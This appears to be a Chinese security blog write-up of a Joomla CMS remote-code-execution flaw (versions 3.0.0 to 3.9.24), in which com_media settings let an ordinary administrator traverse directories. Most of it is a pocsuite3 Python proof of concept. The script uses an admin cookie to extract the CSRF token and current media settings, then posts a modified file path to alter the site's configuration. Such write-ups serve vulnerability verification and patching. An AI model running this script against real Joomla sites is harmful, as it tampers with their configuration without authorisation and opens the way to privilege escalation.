0x01 漏洞详情
Joomla!是一套全球知名的内容管理系统,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。目前是由Open Source Matters这个开放源码组织进行开发与支持。

由于com_media组件配置能够被普通管理员身份的用户修改为任意目录,导致攻击者可以进行目录遍历。并且通过修改应用的关键配置文件,使得普通管理员身份的用户可以创建超级管理员身份的用户,进而造成远程代码执行。
0X02 影响版本
3.0.0 <= Joomla CMS <= 3.9.24
0x03 环境搭建
官网下载Joomla CMS 3.9.23(受影响版本)的安装包和Joomla CMS 3.9.25(未受影响版本),下载链接:https://downloads.joomla.org/zh-cn/cms
Joomla CMS 3.9.23版本:

Joomla CMS 3.9.25版本:

0x04 漏洞复现

0x05 POC编写
# /usr/bin/env python3
# coding:utf8
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
import re
import sys
class TestPOC(POCBase):
vulID = 'Hunter-0x07'
version = 'v1'
author = ['Hunter-0x07']
vulDate = '2021-03-02'
createDate = '2021-03-09'
updateDate = '2021-03-09'
references = ['']
name = 'Joomla CMS 远程代码执行漏洞'
appPowerLink = ''
appName = 'Joomla CMS'
appVersion = '''3.0.0 <= Joomla CMS <= 3.9.24'''
vulType = 'RCE'
desc = ''''''
def _verify(self):
result = {}
self.url = self.url.strip('/')
# logger.info(self.headers)
self._sess = requests.session()
# com_media配置页面url
self.media_config_url = self.url + "/administrator/index.php?option=com_config&view=component&component=com_media&path="
self.config_url = self.url + "/administrator/index.php?option=com_config"
try:
# 检查是否为admin用户,不是则退出程序
self._check_admin()
# 判断是否存在漏洞
if self._vul_verify():
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
logger.info("[+] 存在漏洞\n")
except Exception as e:
logger.error(f'[-] 运行出现未知错误: {e}\n')
return self.parse_output(result)
def _vul_verify(self):
"""
判断是否存在漏洞
:params: None
:return: 存在漏洞则返回True,不存在返回False
"""
try:
logger.info("尝试获取原始的配置信息")
resp = self._sess.get(url=self.media_config_url)
token = self._extract_token(resp)
# 提取原始配置信息
match_upload_extensions = re.search(r'jform_upload_extensions".*value="(.*?)"', resp.text)
upload_extensions = match_upload_extensions.group(1) if match_upload_extensions else ''
match_upload_maxsize = re.search(r'jform_upload_maxsize".*value="(.*?)"', resp.text)
upload_maxsize = match_upload_maxsize.group(1) if match_upload_maxsize else ''
match_file_path = re.search(r'jform_file_path".*value="(.*?)"', resp.text)
file_path = match_file_path.group(1) if match_file_path else ''
match_image_path = re.search(r'jform_image_path".*value="(.*?)"', resp.text)
image_path = match_image_path.group(1) if match_image_path else ''
match_restrict_uploads = re.search(r'jform\[restrict_uploads].*value="(.*?)".*checked', resp.text)
restrict_uploads = match_restrict_uploads.group(1) if match_restrict_uploads else ''
match_check_mime = re.search(r'jform\[check_mime].*value="(.*?)".*checked', resp.text)
check_mime = match_check_mime.group(1) if match_check_mime else ''
match_image_extensions = re.search(r'jform_image_extensions".*value="(.*?)"', resp.text)
images_extensions = match_image_extensions.group(1) if match_image_extensions else ''
match_ignore_extensions = re.search('jform_ignore_extensions".*value="(.*?)"', resp.text)
ignore_extensions = match_ignore_extensions.group(1) if match_ignore_extensions else ''
match_upload_mime = re.search('jform_upload_mime".*value="(.*?)"', resp.text)
upload_mime = match_upload_mime.group(1) if match_upload_mime else ''
match_upload_mime_illegal = re.search('jform_upload_mime_illegal".*value="(.*?)"', resp.text)
upload_mime_illegal = match_upload_mime_illegal.group(1) if match_upload_mime_illegal else ''
# 指定修改的路径
modify_file_path = './' + file_path
# 构造新的post数据包
new_post_data = {
'jform[upload_extensions]': upload_extensions,
'jform[upload_maxsize]': upload_maxsize,
'jform[file_path]': './' + modify_file_path,
'jform[image_path]': './' + image_path,
'jform[restrict_uploads]': restrict_uploads,
'jform[check_mime]': check_mime,
'jform[image_extensions]': images_extensions,
'jform[ignore_extensions]': ignore_extensions,
'jform[upload_mime]': upload_mime,
'jform[upload_mime_illegal]': upload_mime_illegal,
'id': 13,
'component': 'com_media',
'task': 'config.save.component.apply',
token: 1
}
# 尝试修改目标配置
resp = self._sess.post(url=self.config_url, data=new_post_data)
if 'alert-success' not in resp.text:
return False
except Exception as e:
logger.error(f"出现未知错误{e}")
return True
def _check_admin(self):
"""
检查当前cookie是否为admin用户cookie
:params: None
:return: 是则返回token,不是则退出程序
"""
try:
resp = self._sess.get(self.media_config_url, headers=self.headers)
except Exception as e:
logger.error(f"出现未知错误{e}")
token = self._extract_token(resp)
if not token:
logger.error("[-] 不是管理员用户cookie,请输入管理员用户cookie!退出程序")
sys.exit()
logger.info("确认为管理员用户")
def _extract_token(self, resp):
"""
提取响应页面token
:params: None
:return: 提取的页面token
"""
match_token = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
return match_token.group(1)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(TestPOC)
0x06 POC复现
注意:POC使用时得带上--cookie "普通管理员的cookie"
存在漏洞,如图所示

不存在漏洞,如图所示
